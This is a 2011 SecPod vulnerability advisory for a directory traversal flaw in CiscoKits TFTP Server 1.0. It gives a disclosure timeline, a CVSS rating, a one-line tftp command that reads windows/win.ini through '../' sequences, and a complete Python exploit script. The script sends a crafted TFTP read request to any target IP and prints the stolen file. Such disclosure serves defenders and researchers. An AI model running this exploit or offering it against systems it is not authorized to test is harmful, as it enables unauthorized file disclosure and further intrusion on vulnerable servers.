CiscoKits TFTP server suffers from a directory traversal vulnerability. Proof of concept exploit is attached to the bottom of this advisory.
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CiscoKits TFTP Server Directory Traversal Vulnerability
SecPod Technologies (www.secpod.com)
Author: Antu Sanadi
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SecPod ID: 1022 21/07/2011 Issue Discovered
03/08/2011 Vendor Notified
Vendor Replied to Disclose
04/08/2011 Advisory Released
Class: Information Disclosure Severity: Medium
Overview:
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Ciscokits TFTP Server Version 1.0 is prone to a Directory Traversal
vulnerability.
Technical Description:
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The vulnerability is caused due to improper validation to Read Request
containing '../' sequences, which allows attackers to read arbitrary files
via directory traversal attacks.
Impact:
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Successful exploitation could allow an attacker to obtain sensitive
information, which may lead to launching further attacks.
Affected Software:
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Ciscokits TFTP Server Version 1.0
Tested on:
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Ciscokits TFTP Server Version 1.0 on Windows XP SP3.
References:
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http://secpod.org/blog/?p=301
http://www.certificationkits.com
http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
Proof of Concept:
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tftp> get ../../../../../../../../../../../windows/win.ini
Solution:
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Not available
Risk Factor:
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CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = NONE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
CVSS Temporal Score = 4.5
Risk factor = Medium
Credits:
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Antu Sanadi of SecPod Technologies has been credited with the discovery of
this vulnerability.
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#!/usr/bin/python
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# Title : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : http://secpod.org/blog/?p=301
# http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
# http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version : CiscoKits CCNA TFTP Server 1.0.0.0
# Date : 21/07/2011
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import sys, socket
def sendPacket(HOST, PORT, data):
'''
Sends UDP Data to a Particular Host on a Specified Port
with a Given Data and Return the Response
'''
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(data, (HOST, PORT))
data = udp_sock.recv(1024)
udp_sock.close()
return data
if __name__ == "__main__":
if len(sys.argv) < 2:
print "\tUsage: python exploit.py target_ip"
print "\tExample : python exploit.py 127.0.0.1"
print "\tExiting..."
sys.exit(0)
HOST = sys.argv[1] ## The Server IP
PORT = 69 ## Default TFTP port
data = "\x00\x01" ## TFTP Read Request
data += "../" * 10 + "windows/win.ini" + "\x00" ## Read win.ini file using directory traversal
data += "netascii\x00" ## TFTP Type
# netascii
rec_data = sendPacket(HOST, PORT, data)
print "Data Found on the target : %s " %(HOST)
print rec_data.strip()